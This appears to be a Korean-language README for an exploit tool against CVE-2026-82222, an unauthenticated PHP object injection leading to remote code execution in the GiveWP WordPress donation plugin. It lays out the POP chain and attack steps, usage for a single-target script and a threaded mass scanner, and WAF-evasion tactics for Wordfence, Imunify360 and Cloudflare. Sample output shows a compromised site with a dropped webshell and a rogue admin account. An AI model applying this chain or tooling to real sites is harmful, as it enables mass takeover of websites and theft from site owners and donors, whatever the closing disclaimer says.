
GiveWP <= 4.16.7.1 인증되지 않은 PHP 객체 주입 → RCE
작성자: Rx019
CVSS: 10.0 (치명적)
유형: 인증되지 않은 PHP 객체 주입 → 원격 코드 실행
플러그인: GiveWP (give) — 기부 플러그인 및 펀드레이징 플랫폼
영향 버전: <= 4.16.7.1
패치 버전: 4.16.8
GiveWP는 기부자의 last_name을 검증 없이 PHP 세션에 저장합니다. give_last 필드 없이 기부가 제출되면, GiveWP는 데이터베이스의 원시 값을 세션에 직접 역직렬화합니다. 이를 통해 인증되지 않은 공격자가 기부자 프로필 엔드포인트를 통해 last_name에 PHP 직렬화 객체를 주입한 후, 조작된 기부를 제출하여 역직렬화를 트리거할 수 있습니다. 결과적으로 GiveWP에 번들된 벤더 라이브러리에 존재하는 사전 구축된 POP 체인을 통해 임의 명령 실행이 가능해집니다.
TCPDF::__destruct()
└─ Session::getBag() ← $attributeName으로 명명된 메서드 호출
└─ DonationFactory::__call()
└─ system($command) ← $attributeName에서 가져온 $command
사용된 벤더 클래스:
| 클래스 | 파일 |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. 기부자로 등록 → 인증된 세션 (wp-login 쿠키)
2. POST /wp-admin/profile.php
last_name = system() 명령이 포함된 직렬화된 TCPDF 체인
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (give_last 필드 생략)
→ GiveWP가 DB에서 last_name을 읽어 원시 객체를 세션에 기록
4. GET /?p={form_id}
→ PHP 세션 종료 시 TCPDF::__destruct() 실행
→ POP 체인이 system(command) 실행
5. 셸 / 관리자 생성 확인
pip install requests rich
Python >= 3.9
| 파일 | 설명 |
|---|---|
CVE-2026-82222.py | 단일 대상 PoC — 상세 단계별 출력 |
CVE-2026-82222-MASS.py | 대량 스캐너 — 스레드 기반 배치 모드 |
python CVE-2026-82222.py
대화형 프롬프트:
Target URL: https://victim.com
또는 직접 지정:
python CVE-2026-82222.py https://victim.com
# 파일에서 배치 실행
python CVE-2026-82222-MASS.py -f targets.txt
# 사용자 지정 스레드 수
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# 여러 대상 인라인 지정
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# 대화형 메뉴
python CVE-2026-82222-MASS.py
배치 파일 형식:
# #으로 시작하는 줄은 무시됨
https://target1.com
https://target2.com
target3.com # 프로토콜이 https://로 자동 추가됨
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
결과는 ~/Documents/CVE/CVE-2026-82222/에 저장됩니다:
| 파일 | 내용 |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | 단일 실행 결과 |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | 전체 배치 결과 |
success_results.txt | VULN/PARTIAL 줄 추가 기록 |
이 익스플로잇은 두 가지 주요 경로를 순차적으로 시도합니다:
wp_create_user() PHP 코드를 base64로 인코딩하여 TCPDF 체인에 주입경로 A가 실패하거나 관리자 로그인을 확인할 수 없을 때 사용합니다.
last_name에 셸 드롭 명령 주입give_last 없이 기부)/?p={form_id}).txt 파일에 id | tee 비콘 전송셸이 확인되었지만 관리자가 아직 없는 경우, 웹셸의 ?c= 파라미터를 통해 wp_create_user()를 사용하여 셸로 관리자를 생성합니다.
| WAF | 전략 |
|---|---|
| Imunify360 | X-Forwarded-For / X-Real-IP 스푸핑 헤더 제거 |
| Wordfence | 풀에서 User-Agent 순환 |
| Cloudflare | Accept-Encoding: gzip, deflate, br 설정 |
wp-config.php의 DISALLOW_FILE_EDIT는 플러그인/테마 편집기 벡터를 차단합니다 — 스크립트는 이를 조기에 감지하고 경로 B로 전환합니다Rx{100-999}.php — 실행마다 무작위 생성이 도구는 승인된 보안 테스트 및 연구 목적으로만 배포됩니다.
소유한 시스템 또는 명시적 서면 허가를 받은 시스템에만 사용하십시오.
무단 사용은 불법이며 비윤리적입니다.